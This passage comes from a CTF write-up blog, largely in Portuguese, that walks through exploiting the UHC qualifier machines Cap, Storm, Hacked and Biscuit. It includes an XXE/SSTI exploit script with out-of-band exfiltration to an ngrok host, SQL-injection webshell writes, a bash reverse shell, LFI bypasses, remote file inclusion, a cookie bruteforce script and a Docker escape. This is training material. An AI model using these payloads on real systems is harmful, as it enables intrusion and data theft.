\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\n\x00\x00\x00\x00\x00[nOS\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x18\x00\x00\x00\x00\x00\x00\x00\x10\x00\xffAj\x18\x00\x00xl/_rels/UT\x05\x00\x03m\xb1iaux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x01\x02\x1e\x03\x14\x00\x00\x00\x08\x00\x00\x00!\x00\x81>\x94\x97\xec\x00\x00\x00\xba\x02\x00\x00\x1a\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00\xff\x81\xad\x18\x00\x00xl/_rels/workbook.xml.relsUT\x05\x00\x030\xd0\xce\x12ux\x0b\x00\x01\x04\xe8\x03\x00\x00\x04\xe8\x03\x00\x00PK\x05\x06\x00\x00\x00\x00\x10\x00\x10\x00F\x05\x00\x00\xed\x19\x00\x00\x00\x00\r\n------WebKitFormBoundaryX8EzGd8nAoSVFtBe--\r\n"
	session.post(burp0_url, headers=burp0_headers, data=burp0_data)

def craft_payload(command):
	command = command.replace('"', '%5Cu0022').replace("'","%5Cu0027").replace(' ',"%20")
	payload = "%5cu0027%2b{Class.forName(%5cu0027javax.script.ScriptEngineManager%5cu0027).newInstance().getEngineByName(%5cu0027JavaScript%5cu0027).%5cu0065val(%5cu0027var+isWin+%3d+java.lang.System.getProperty(%5cu0022os.name%5cu0022).toLowerCase().contains(%5cu0022win%5cu0022)%3b+var+cmd+%3d+new+java.lang.String(%5cu0022"+command+"%5cu0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(%5cu0022cmd.exe%5cu0022,+%5cu0022/c%5cu0022,+cmd)%3b+}+else{p.command(%5cu0022bash%5cu0022,+%5cu0022-c%5cu0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}%5cu0027)}%2b%5cu0027"
	return payload

cmd = sys.argv[1]

dtd = f"""
<!ENTITY % data SYSTEM "http://documentacao:8090/pages/doenterpagevariables.action?queryString={craft_payload(cmd)}">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxxxxxx.ngrok.io/?data=%data;'>">
"""
open('bigous.dtd', 'w').write(dtd)
send_file()

Untitled

Untitled

FLAG: LW2021{XXE_SSRF_SSTI_f0r_Sur3_You_Are_The_N3w_0r4ng3}

E é isso, usamos um XXE OOB dentro de um xlsx para explorar um SSRF que explora um SSTI em uma aplicação vulnerável, para conseguir RCE.

Espero que tenham gpostado do write-up, desculpe por não meaprofundar tanto nos XXE (depois de longas horas eu to meio cansado de falar disso kkkkk).

Até breve o/

UHCCTF (Classificatória) - Cap

4 June 2021 at 03:00

Essa máquina foi feita pelo Kadu para a classificatória do UHCv35.

Recon

Iniciando o desafio e pegando a url podemos observar que ele tem uma página um tanto quanto estranha, parece ser uma API, já que retorna um objeto JSON:

/assets/cap/Untitled.png

Vamos então partir direto para o fuzzing, vou rodar a wordlist common.txt e a quiclhits.txt:

common.txt:

/assets/cap/Untitled%201.png

quickhits.txt:

/assets/cap/Untitled%202.png

Achamos um arquivo de backup! Vou baixar e abrir no visual studio code.

/assets/cap/Untitled%203.png

Hora de debugar!

Esse código basicamente é uma tentativa de um tipo de API para interagir com algum tipo de banco de dados, ele pega informações de databases e é capaz de inserir informações também, podemos perceber que ele usa um micro framework chamado Slim. (https://www.slimframework.com/docs/v2/)

Essa parte envolve muito code review, que é inclusive o nome do challenge da primeira flag. Fui testando tudo e lendo os erros (debug mode estava ativo).

Dando uma lida e debugando um pouco podemos perceber que existe uma rota dessa api que faz uma consulta no banco de dados na tabela usuarios.

Rota:

https://cap.uhclabs.com/_ul/uploads/0

Código:

/assets/cap/Untitled%204.png

Basicamente aonde está escrito :controller é aonde vamos inserir o nome do arquivo que contém a classe que vamos usar, no caso vamos ussar o usuarios.class.php, e :parametrer sera o $data que será passado na query da consulta como podemos ver aqui:

/assets/cap/Untitled%205.png

Agora vamos rodar:

Testei alguns ids e no 2 temos a primeira flag hehe:

/assets/cap/Untitled%206.png

Certo, como podemos perceber no código, nossos parâmetros não passam por nenhum tipo de tratamento, obviamente o site está vulnerável a Sql injection.

/assets/cap/Untitled%207.png

Então vamos ver o que podemos fazer aqui.

Exploitation

Sql Injection

Podemos observar que o banco de dados usado é o MariaDB.

Vamos começar tentando mandar querys para a aplicação.

Para demonstrar o que está acontecendo irei mostrar as payloads e como a query está sendo executada no site.

  • A primeira coisa que irei fazer vai ser tentar adicionar um usuário, ja que temos o código sabemos o nome da tabela…
cap.uhclabs.com/_ul/usuarios/1;insert%20into%20usuarios%20(nome)%20values%20('big0us')

Com um Url encode na nossa payload se enviarmos, a query ficará assim:

SELECT * from usuarios where id=1; insert into usuarios (nome) values ('big0us');

Enviando mais algumas vezes podemos ver que nosso usuário já está no banco de dados com a seguinte rota:

cap.uhclabs.com/_ul/usuarios/0
  • No MariaDB existe um comando que possibilita salvar o resultado da query em um arquivo…
  • Lendo o código fonte, podemos abrir arquivos que estiverem no /classes/ apenas enviando um request POST, com o nome do arquivo sem o .classes e sem o .php…

/assets/cap/Untitled%208.png

  • Se pudermos salvar arquivos de consultas de querys em qualquer diretório e podemos escrever e rodar arquivos no servidor, temos tudo para conseguir um RCE. Mas como?
  • (Existem várias formas de fazer isso vou descrever como eu fiz)
  • Já que posso criar um usuário, vou criar um usuário contendo um código php no nome, assim quando eu jogar isso para dentro de um arquivo, será executado… Então vamos as payloads:

URL:

cap.uhclabs.com/_ul/usuarios/1;1%3Bselect%20into%20usuarios%20%28nome%29%20values%20%28%27%3C%3Fphp%20system%28%24%5FGET%5B0%5D%3F%3E%27%29%29

Query:

select into usuarios (nome) values ('<?php system($_GET[0]?>'))

E agora com o usuário criado, vamos fazer uma consulta que retorne o nome do usuário, e salvar isso em um arquivo… (dei o nome de “u”)

URL:

cap.uhclabs.com/_ul/usuarios/1%3Bselect%20%2A%20from%20usuarios%20into%20outfile%20%27%2Fvar%2Fwww%2Fhtml%2Fclasses%2Fu%2Eclass%2Ephp%27

Query:

select * from usuarios into outfile '/var/www/html/classes/u.class.php'

Agora que já montamos nosso arquivo malicioso vamos ao request:

/assets/cap/Untitled%209.png

Agora que temos RCE vamos pegar uma shell.

Pós exploitation

Root Capability

Utilizei uma payload simples encodada em url encode:

bash -c "bash -i >& /dev/tcp/ip/porta 0>&1"

/assets/cap/Untitled%2010.png

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

Indo até o / podemos encontrar nossa flag!

/assets/cap/Untitled%2011.png

Rodando alguns comandos de enumeração logo pude encontrar qual é a vulnerabilidade do priv esc (o linpeas teria achado), o comando que eu rodei para encontra-la é o getcap, que mostra para nós os capabilities que os binários do linux possuem.

Linux Capabilities

/assets/cap/Untitled%2012.png

Podemos ver que o python está com um capability chamado sys_admin, dando uma olhada no hacktricks sobre como explorar isso, podemos ver que existe uma forma de sobrescrevermos o arquivo /etc/passwd adicionando uma senha que nós sabemos para o usuário root.

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_admin

/assets/cap/Untitled%2013.png

Exploitation:

/assets/cap/Untitled%2014.png

/assets/cap/Untitled%2015.png

/assets/cap/Untitled%2016.png

/assets/cap/Untitled%2017.png

Depois de rodar o exploit damos um:

/assets/cap/Untitled%2018.png

E ai está nossa flag, parabéns kadu pela máquina e obrigado a você que leu até aqui!

UHCCTF (Classificatória) - Storm

3 June 2021 at 03:00

Essa máquina foi feita pelo Kadu para a classificatória do UHCv34.

Recon

A página inicial dessa maquina é apenas uma foto de uma tempestade gigante, e podemos comprovar isso vendo o source code…

/assets/storm/Untitled.png

/assets/storm/Untitled%201.png

Como de costume em todos os recons, vamos fazer um fuzzing em busca de diretórios e arquivos, utilizarei o ffuf com as wordlists “common.txt” e “quickhits.txt”.

common.txt:

/assets/storm/Untitled%202.png

Encontramos duas coisas interessantes, info.php e config.php:

  • info.php: parece que tem um phpinfo() rodando ai…, interessante para pegarmos algumas informações de versão de serviços e software, além de informações sobre a configuração do servidor. (Pesquisei por exploits para os serviços porém nada foi encontrado 😢)

/assets/storm/Untitled%203.png

  • config.php

Ops! (Status code 200, muito estranho, rs)

/assets/storm/Untitled%204.png

quickhits.txt:

/assets/storm/Untitled%205.png

Opa! No meio de vários falsos positivos encontramos um arquivo chamado “.config.php.swp”, parece ser um arquivo de swap do vim (gerado quando se abre um arquivo no vim, no caso o que foi aberto foi o config.php).

/assets/storm/Untitled%206.png

Como podemos ver é o código php do arquivo “config.php”.

Observando com o Ctrl+U (View-Source) podemos ver a primeira flag!

/assets/storm/Untitled%207.png

Parece que teremos de fazer um code review nesse código e entender aquele Access Denided que recebemos no config.php…

Para melhorar nossa visualização vamos tentar recuperar esse arquivo usando o próprio vim:

wget https://storm.uhclabs.com/.config.php.swp #download the file
vim -r .config.php.swp #recover the file

Agora apenas dei enter.

/assets/storm/Untitled%208.png

Lets debug friends!

/assets/storm/Untitled%209.png

(Essa parte do write-up vai exigir o básico de php, tentarei explicar da melhor forma, mas se você não entende muito de php, um aviso, você vai ficar meio doido)

Code Review

Para entender eu recomendo fortemente que você reproduza o ambiente na sua máquina!

Aqui está o motivo de recebermos acesso negado!

/assets/storm/Untitled%2010.png

Eu reproduzi o ambiente localmente, ai vai meu código comentado para entendermos:

(Amigos brasileiros, desculpa por estar em inglês, é para o pessoal poder entender o código)

<?php
//my reproduce script
Class UHCProtocol{                   //declare a new class 
    public $data;
    public function __wakeup(){      //exploitable function by insecure deserealization**
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']); //call a function with value of $data and use arguments with value in query string of the http request
    }

if($_SERVER['REQUEST_METHOD'] == "PUT"){  //verify type of the request, in case we have to use PUT

$raw = file_get_contents("php://input"); //put on $raw all contents of request body (php://input is the request body)

    if(strpos($raw, "::") !== false){ //verify if have "::" on $raw content and if yes return true
        $call = explode("::", $raw); //separte in a array $raw by "::" and put this on array named $call
        $badfuncs = ['system', 'aaaa'];  //declare a array with denided functions

        if(in_array($call[0], $badfuncs)){ //verify if in first part of $raw, before :: ($call[0]) have any of denides functions
            die("Denied Func!"); //if yes, die() with a message "Denied Func!"
        }
        if(strpos($call[1], "|") !== false){ //verify if in second part of $raw, after :: ($call[1]) have a "|"
            $data = explode("|", $call[1]); //if yes separate $call[1] by | and put this on a array named $data
            call_user_func_array($call[0], $data); //call a function with $call[0] value and $data value in arguments
        }else{ //if not...
            call_user_func($call[0], $call[1]); //call a function with $call[0] value and $call[1] value in arguments
        }
    }
}
?>

Basicamente o que temos que fazer para começar a testar é mandar um request PUT e nos valores do body passar nossa payload contendo “::”. Dando uma lida sobre como usar a função call_user_func do php podemos perceber que o primeiro argumento é o nome da função que queremos rodar, e o segundo argumento são os valores a serem passados para essa função, exemplo:

call_user_func("print_r", "hello"); //will print "hello"

Como podemos observar no nosso código comentado, se seguirmos as validações do if, o código deverá executar uma função que colocarmos antes do “::” e os argumentos serão os valores que colocarmos depois do “::”.

print_r::hello

Vamos abrir o burp e enviar esse PUT contendo nossa payload.

/assets/storm/Untitled%2011.png

Recebemos Access Denided!, isso deve ser pelo fato de estarmos acessando o config.php, vamos então pensar, para que um script “config.php’ é usado? para setar todas as variáveis e classes de configuração do site, portando outras páginas do site dão um include nele…

Vamos mandar o request para index.php, ja que provavelmente ele inclui o config.php no código…

/assets/storm/Untitled%2012.png

Deu certo, bom agora vamos ver o que podemos fazer com isso, usar funções para ler arquivos (LFI), rodar funções de sistema? Não pois elas estão sendo checadas na nossa payload, então o que vamos fazer?

Lembram do comentário na função wakeup da classe?

O que vamos ter que fazer é uma desseralização insegura!

Exploitation

RCE

Deserialization

Recomendo quem não souber do que se trata dar uma pesquisada em alguns artigos.

Aqui vai o código da classe vulnerável:

Class UHCProtocol{
    public $data;
    public function __wakeup(){
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']);
    }
}

Observem a função wakeup, ela é uma função que recebe o nome de função mágica. Toda vez que no php um objeto é desserealizado essa função é chamada.

Nessa classe a função wakeup está executando a função add() que por sua vez tem um call_user_func que recebe os valores $data e os valores contidos na query do request (http://website.com/index.php?this-is=a-query).

O valor de $data vai ser o nome da função que o call_user_func vai executar e os calores da query serão os argumentos…

Ok, temos o código vulnerável a desserealização, mas onde tem um objeto para ser desserealizado?

Simples! Se lembram do nosso “poder” de executar funções com o nosso body malicioso no request PUT? Vamos um “unserealize” com os argumentos sendo um objeto modificado por nós.

Esse objeto modificado terá que ter o nome da função que iremos rodar com o valor de $data, portanto vamos apenas escrever um script para serializar uma classe modificada.

<?php
Class UHCProtocol{
    public $data = "print_r";
    public function __wakeup(){
    $this->add();
    }
    public function add(){
        return call_user_func($this->data, $_SERVER['QUERY_STRING']);
    }
}
$object = new UHCProtocol();
echo serialize($object);
?>

/assets/storm/Untitled%2013.png

Agora vamos desserealizar isso e passar os argumentos na query da URL:

/assets/storm/Untitled%2014.png

Conseguimos! Com isso não precisamos nos importar com as funções proibidas do config.php, já que nosso $data não passa por nenhum tipo de validação.

Porém vamos ver no info.php se tem alguma função que não tenha sido desabilitada que possa permitir um RCE.

/assets/storm/Untitled%2015.png

Dando uma olhada, parece que a função “exec” está liberada, vamos testar, porém é importante lembrar que a função exec não possui output, logo vamos rodar um “sleep” para ver se o código foi executado.

/assets/storm/Untitled%2016.png

Parece que deu certo, utilizei ${IFS} pois é um bypass para dar um espaço no linux.

Temos RCE, agora vamos pegar uma reverse shell!

Pós-exploitation

Root

/assets/storm/Untitled%2017.png

Habemos shell!

Full tty shell
in your shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your shell~ export TERM=xterm

E dando uma olhada no “/”, habemos flag!

/assets/storm/Untitled%2018.png

Fazendo um recon normal de pós exploitation, consegui achar algumas coisas interessantes, a mais especial, um script com permissão de SUID chamado “storm” no / :

/assets/storm/Untitled%2019.png

Rodando ele parece que ele tem alguma palavra certa para se usar, como uma senha:

/assets/storm/Untitled%2020.png

Vamos usar o Ghidra para analizar o programa baixando para a nossa máquina e fazendo uma engenharia reversa para ver como ele está funcionando:

/assets/storm/Untitled%2021.png

Esse é o código decompilado pelo ghidra, o programa recebe um valor digitado pelo usuário pelo scanf e compara esse valor a uma string com o strcmp(), e então dependendo do que retornar dessa comparação ele vai executar um sleep e uma função chamada shell ou vai executar um print dizendo “Invalid cloud name”.

O que tem na função shell?

/assets/storm/Untitled%2022.png

Lembram que o programa tinha o capability de SUID? Nessa função shell ele seta o UID para 0 (root) e chama uma shell, isso significa que se a nossa comparação retornar true (se digitarmos a palavra certa), o programa vai nos dar uma shell de root.

Vamos dar uma olhada nessa comparação novamente.

iVar1 = strcmp("__libc_csu_fini",acStack200); 

Perceberam? É uma string, o prgrama verifica se no input do usuário existe “__libc_csu_fini”, logo, temos a “senha”! Vamos usar.

/assets/storm/Untitled%2023.png

Depois de um tempo (por conta do sleep), o programa nos da uma shell de root!

Na home do root encontrei a flag!

/assets/storm/Untitled%2024.png

É isso, obrigado por ler até aqui, e parabéns kadu pela máquina!

UHCCTF (Classificatória) - Hacked (Official Write-Up)

2 June 2021 at 03:00

Essa máquina foi feita por mim com ajuda dos meus amigos Luska e Kadu para o UHC. Os arquivos dela e o Dockerfile estarão no meu GitHub.

Recon

A primeira página é uma linda arte (uma deface), dizendo que o site foi hackeado:

/assets/hacked/Untitled.png

Logo de cara temos uma flag, essa eu não censurei pois é literalmente abrir o site. Lendo o source code da página não encontrei nada, como esse arquivo deve ser o index vamos rodar um fuzzing no site para achar mais arquivos e diretórios. Utilizei o ffuf com as wordlists do seclists.

common.txt:

/assets/hacked/Untitled%201.png

De costume vou testar esse /uploads/, mas deu 404 😢

raft-small-files.txt:

/assets/hacked/Untitled%202.png

Parece que encontramos um também “home.php” vamos dar uma olhada:

/assets/hacked/Untitled%203.png

Um site sobre customização de carros, vamos dar uma navegada no site para ver se encontramos algo interessante:

Logo percebemos que quando clicamos nos botões ali no cabeçalho não somos redirecionados para a página deles, e sim a página deles é “incluída” em um parâmetro GET no home.php:

/assets/hacked/Untitled%204.png

Isso parece estar vulnerável a Local File Inclusion (LFI), uma vulnerabilidade que permite ao atacante incluir ou ler arquivos do servidor…

(Agora vai ter uma divisão no write-up para você que fez a máquina no dia do uhc ou no UHCLABS ou se você estiver rodando no docker. Se você estiver no docker ou localmente sem nenhum WAF é só pular a próxima parte “WAF bypass”)

Exploitation

LFI

No UHC havia um WAF do cloudfare, e isso impossibilitou ler arquivos do servidor completamente, então vamos seguir com a exploração do nosso LFI, vamos fazer um teste tentando incluir o nosso home.php alterando a URL para: (apenas home pois nas outras páginas ele auto completa o .php):

https://hacked.uhclabs.com/home.php?page=home

/assets/hacked/Untitled%205.png

/assets/hacked/Untitled%206.png

A página ficou duplicada, e no source podemos comprovar isso, porém, se a página é um php que inclui outras páginas, onde está as tags php e o código php para nós vermos como isso funciona?

Ai é que está o WAF (Web Application Firewall) está omitindo o código php do nosso arquivo. Então teremos de fazer um Bypass do WAF e acessar diretamente o ip do servidor, e para isso vamos aproveitar nosso LFI.

Exploitation Bypass WAF

Para explorar esse bypass utilizaremos os wrappers do php. (https://www.php.net/manual/en/wrappers.php)

/assets/hacked/Untitled%207.png

Vamos usar o wrapper do ftp para fazer o site fazer uma requisição para o nosso IP como se fosse se conectar ao ftp assim nos indicando qual é o IP real do servidor.

Na minha máquina:

nc -lvp 4444

Payload:

https://hacked.uhclabs.com/home.php?page=ftp://IP:PORT/x

Recebemos:

/assets/hacked/Untitled%208.png

Esses servidores ec2 da amazom para pegar o ip é só pegar esses números da url: 34.219.224.183

Vamos acessar e rodar a inclusão do home.php e deve funcionar.

/assets/hacked/Untitled%209.png

Apenas trocando a URL por home ele automaticamente adicionou o .php e nos mostrou o conteúdo do arquivo home.php.

Lendo esse código podemos perceber que ele tem algumas proteções quanto a algumas coisas. Vamos tentar ler arquivos do servidor no caso o clássico /etc/passwd:

(../ serve para voltar diretórios)

/assets/hacked/Untitled%2010.png

/assets/hacked/Untitled%2011.png

Pelo o que podemos ver retornou um erro, que podemos entender já que temos o código. Da nossa payload ele retirou todos os “../” e substituiu por “” (nada) , ele retirou a palavra “passwd” e trocou por “ERROR” e por fim adicionou “.php” no final, logo o arquivo não existe e ele não mostra o conteúdo.

Lendo o código podemos ver que a proteção de “../” está vulnerável a um bypass que consiste em escrever uma palavra dentro da outra:

pal(palavra)avra -> palpalavraavra
.(../)./ -> ..././

Assim quando o código retirar a primeira palavra ele vai concatenar a palavra proibida passando o que queremos.

Para bypassarmos o ERROR não vamos conseguir, portando vamos ler outro arquivo que não esteja na nossa blackllist como /etc/hosts.

Agora o .php no final, tem uma linha no código que diz que se existir um parâmetro GET chamado “ext” ele vai usar o que estiver nele para completar a extensão do arquivo, e se o parâmetro não estiver setado ele vai adicionar .php no final. Logo o que temos que fazer é setar o parâmetro ext para ““(nada).

Vamos a payload:

34.219.224.183/home.php?page=..././..././..././..././..././etc/hosts&ext=

Conseguimos!

/assets/hacked/Untitled%2012.png

Bom agora parece que teremos que ler algum arquivo do servidor, poderíamos fazer um fuzzing usando o LFI ou refazer nosso fuzzing novamente e usar o LFI para ler os arquivos. Rodei a wordlist raft-large-words.txt com a extensão php. (Usei um filtro de tamanho do ffuf “-fs 283”)

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -u 'https://hacked.uhclabs.com/uploads/FUZZ' -e .php 

/assets/hacked/Untitled%2013.png

Parece que encontramos a webshell que o hacker usou para invadir esse sistema, vamos dar uma olhada nela e ao mesmo tempo usar o nosso LFI para ler ela. Opa achamos uma flag!

/assets/hacked/Untitled%2014.png

/assets/hacked/Untitled%2015.png

Exploitation

Part2

Pelo jeito é uma webshell com senha:

<?php
$pass1 = $_GET['pass1'];
$pass2 = $_GET['pass2'];
$secret = file_get_contents('../../secret'); // /var/www
$hmac_client = hash_hmac('sha256', $pass1, $pass2);
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
$hmac_server =  (int)$hmac_server;
if($_COOKIE['token']){
    $hmac_client = $_COOKIE['token'];
}; 

if($hmac_client == $hmac_server):
    setcookie('token', $hmac_client);
?>

Esse é o código, dando uma olhada ele faz uma hash usando a senha1(Gu%40$!mN0123) e a senha2 (conteúdo do ../../secret), e ele compara essa hash com a hash feita com os valores que o usuário passa via GET, porém existe um (int) que transforma a hash do servidor em um valor inteiro. Vamos reproduzir isso localmente…

<?php
$secret = "anything";
$hmac_server = hash_hmac('sha256', 'Gu%40$!mN0123', $secret);
echo "hash: ";
echo $hmac_server;
echo " ";
echo "int: ";
echo (int)$hmac_server;
?>

Retorna:

/assets/hacked/Untitled%2016.png

Aqui vemos como essa conversão da hash para um numero inteiro funciona, o php pega então os primeiros números da hash com o (int) e compara com o valor passado pelo usuário, outra coisa legal é que o usuário pode passar esse valor via COOKIE…, logo poderemos declarar nosso cookie “token” para algum número inteiro e a comparação ira dar TRUE.

if($hmac_client == $hmac_server): // vulnerable

Vamos então encontrar um número inteiro que consiga gerar TRUE na comparação e bypassar a autenticação da webshell. Podemos ver no código que existe um parâmetro POST chamado cmd que é usado quando a autenticação retorna TRUE , e esse parâmetro é o código que será executado na webshell. Pensando nisso escrevi um exploit em python para fazer um bruteforce de valores numéricos no cookie até conseguir a autenticação e por fim rodar o comando que eu quiser na máquina.

import requests
import sys
cmd = sys.argv[1]
url = "http://34.219.224.183/uploads/webshell.php"
for num in range(0, 1000):
        token = num
        print("[INFO] Testing: ", token)
        cookies = {'token': str(token)}
        r = requests.get(url, cookies=cookies)
        if len(r.text) != 565:
                print("[EXPLOIT] Token:", token, "CMD:", cmd)
                payload = {'cmd': cmd}
                a = requests.post(url, data=payload, cookies=cookies)
                print(a)

/assets/hacked/Untitled%2017.png

Funcionou o cookie que começa com 9, mesmo ja tendo RCE, vamos setar o cookie e ver a webshell…

Apenas setei o cookie para 9:

/assets/hacked/Untitled%2018.png

Uma webshell muito linda! Agora que temos RCE vamos pegar uma shell.

Exploitation

Part3

Habemos Shel!

Eu utilizei um site para pegar a shell porém, eu poderia ter usado também o https://www.revshells.com/ que é um gerador de comandos, para pegar uma shell, eu apenas coloco as informações e ele gera a payload para eu mandar para o servidor 😉.

/assets/hacked/Untitled%2019.png

Full tty shell
in your rev-shell~ python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL + Z
in your terminal~ stty raw -echo; fg
ENTER
in your rev-shell~ export TERM=xterm

Fazendo um recon básico com o “sudo -l” podemos ver que conseguimos rodar um programa com um outro usuário na maquina sem senha.

/assets/hacked/Untitled%2020.png

No caso o programa que podemos rodar é o cowsay:

/assets/hacked/Untitled%2021.png

Dando uma olhada no GTFObins podemos ver como funciona o priv esc utilizando o cowsay:

/assets/hacked/Untitled%2022.png

/assets/hacked/Untitled%2023.png

Basicamente o argumento -f no cowsay nos permite setar o “estilo” da vaquinha, porém esse estilo é um script em perl, logo podemos escrever um template malicioso e mandar o cowsay executar, agora vamos apenas fazer isso.

/assets/hacked/Untitled%2024.png

Agora como usuário john rodando um “ls -la” na home dele podemos encontrar a próxima flag:

/assets/hacked/Untitled%2025.png

Exploitation

Part4

Rodando novamente o “sudo -l” podemos rodar /bin/sh como root sem senha, então bora la pegar esse root!

/assets/hacked/Untitled%2026.png

Ué, cade a flag? Esse root não foi muito facil?

/assets/hacked/Untitled%2027.png

Parece que estamos dentro de um docker e teremos que escapar dele, eu poderia testar algumas formas manuais de verificar como vamos fazer isso porém rodei uma tool chamada deepce que ja me deu uma dica de um possível vetor de ataque…

/assets/hacked/Untitled%2028.png

/assets/hacked/Untitled%2029.png

Pelo jeito estamos em um container privilegiado, isso significa que podemos montar os arquivos do host dentro do nosso container ou até mesmo executar comandos no host.

Vamos rodar um: (Para visualizar os discos do servidor do host)

fdisk -l

E então montar o disco no nosso container:

mkdir -p /mnt/a
mount /dev/xvda1 /mnt/a

Agora vamos usar o chroot aonde montamos o disco:

/assets/hacked/Untitled%2030.png

E conseguimos! mais uma flag de brinde!

Espero que tenham gostado, para você que leu até aqui, obrigado!

H4ckTh3Pl4n3t!

UHCCTF (Classificatória) - Biscuit (Official Write-Up) - eng

1 June 2021 at 03:00

Hello, I’m Vinicius (big0us), this is a write-up of a machine that was the challenge for one of UHC’s qualifiers. (translate to english by 0day) Happy reading :) g00d_h4ck1ng

Recon

/assets/biscuit/Untitled.png

The first page you’re greeted with a login page, taking a look at the HTML of the page, apparently there’s nothing hidden, I’ll fuzz first, then we can test some credentials.

/assets/biscuit/Untitled%201.png

Apparently our fuzzing only showed a /class, where there is a directory listing pointing to a “.php” file.

/assets/biscuit/Untitled%202.png

Okay, let’s test some default credentials in the login form:

admin:admin
guest:guest
administrator:admin
root:root

By testing “guest:guest” we were able to enter:

/assets/biscuit/Untitled%203.png

Looking around apparently, we only have a welcome page. Let’s check our cookies.

/assets/biscuit/Untitled%204.png

/assets/biscuit/Untitled%205.png

Using cyberchef to decode the cookie, we can see that it’s JSON with three values: hmac (probably something that validates the values), username, and a time for the cookie to expire.

I’m going to try to change the username value in the cookie to “admin” with base64 & URL encoding, and then send back to the application.

/assets/biscuit/Untitled%206.png

This page showed an error saying that we’re trying to do “cookie tampering”, and returned a flag! The first flag. After some tests, sending cookies with other random values, I realized that the application validates the cookie by the value of hmac, and not by the entire content of json. A well-known vulnerability about PHP validations is type-juggling, which consists of bypassing authentications by making any if($ == $) that will always return “true”.

PHP Tricks (SPA)

PHP Type Juggling Vulnerabilities

/assets/biscuit/Untitled%207.png

Basically when a programmer uses “==” in a php comparison, first it makes the two values the same type, ignoring the type (int, str…) of the variables. And in this situation we can use some techniques for the comparison to return “true”.

Exploitation

After trying for quite a while, I tried changing the value of “hmac” to “true” and luckily it worked!

/assets/biscuit/Untitled%208.png

{"hmac":true,"username":"admin","expiration":1625435484}

/assets/biscuit/Untitled%209.png

Okay :( I was sad that there are no flags here. I’ll try to change the username again, to understand what’s going on.

Changing to “test”, php gives us an error, it seems it’s running a “require_once” on the value we put & appending “.php” at the end. require_once is normally used to include pages and php files in websites, and when the user has control over the value that require_once uses, the application is vulnerable to LFI or RFI (Local/Remote File Inclusion).

/assets/biscuit/Untitled%2010.png

As the application already puts the .php at the end, I will do the following. Upload a file with a webshell on a server using ngrok, then tell the application to include my file and get an RCE.

/assets/biscuit/Untitled%2011.png

And I will send the payload:

{"hmac":true,"username":"https://3b4f8afabab2.ngrok.io/shell","expiration":1625435484}

(The application now puts the .php)

We have RCE!!

/assets/biscuit/Untitled%2012.png

Now I’m going to try to get a reverse shell. After a few attempts I realized that there is a firewall in the application that blocks any communication on ports other than 80 or 443, since I don’t have a VPS, I’ll do it differently, instead of a reverse shell (where the victim connects back to me) I’m going to use a bind shell (opening a port on the machine and connecting to it). For this I will use “socat”.

[socat GTFOBins](https://gtfobins.github.io/gtfobins/socat/#bind-shell)

/assets/biscuit/Untitled%2013.png

First I got the socat binary in their github (socat binary) and passed it to the machine using the web-server that I created to get RCE, and curling it. I ran the commands that are in the image and got a bind shell! (I used port 6969)

/assets/biscuit/Untitled%2014.png

In “/” have our next flag:

/assets/biscuit/Untitled%2015.png

Post Exploitation

Doing the basic privesc checklist, we can see that we are the apache user and we can run a script as root on the machine:

/assets/biscuit/Untitled%2016.png

Apparently we can’t read the script or change it.

/assets/biscuit/Untitled%2017.png

What’s left for us to do, is to simply RUN IT!:

/assets/biscuit/Untitled%2018.png

The file prints an IP with option 2 (List Blocked IP’s), taking a look at /var/www/html the web application path, we can see that there is a file with the same IP that was printed, so it’s printing the IP that is in the file.

/assets/biscuit/Untitled%2019.png

I opened the file with nano (before running ‘export TERM=xterm’ !!) and started editing it, to try and provoke some type of error in python that would show me something from the program.

/assets/biscuit/Untitled%2020.png

/assets/biscuit/Untitled%2021.png

Interestingly, there is a different (not used often) format string running. Searching about this type of format string + vulnerabilites, I ended up stumbling on this article.

Are there any Security Concerns to using Python F Strings with User Input

Basically it explains everything we need to do, so I won’t explain it again, but the way this format string works, allows us to inject more strings to be formatted, and if this is printed we can print all the global variables that the file uses, usually giving us some key or password.

Okay here is my final payload.

{"ips":["{ip.list_blocked.__globals__}"]}

/assets/biscuit/Untitled%2022.png

This worked and we got the value of a variable called root_secret, it’s probably the root password.

/assets/biscuit/Untitled%2023.png

Worked!! Thanks to you who’ve read this far, I hope you enjoyed this challenge / writeup!

UHCCTF (Classificatória) - Biscuit (Official Write-Up) pt-br

1 June 2021 at 03:00

Ola sou o Vinicius (big0us), esse é um write-up de uma maquina que foi o challenge de uma das etapas classificatórias do UHC.

Escreverei meio rápido então peço desculpas se algo estiver um pouco ruim.

Boa leitura :)

g00d_h4ck1ng

Recon

/assets/biscuit/Untitled.png

A primeira página é uma página de login, dando uma olhada no HTML da página aparentemente não existe nada escondido, vou rodar um fuzzing e depois poderemos testar algumas credenciais.

/assets/biscuit/Untitled%201.png

Aparentemente nosso fuzzing entregou apenas um /class, onde existe um directory listing apontando um arquivo “.php”.

/assets/biscuit/Untitled%202.png

Ok, vamos testar algumas credenciais padrões no formulário de login:

admin:admin
guest:guest
administrator:admin
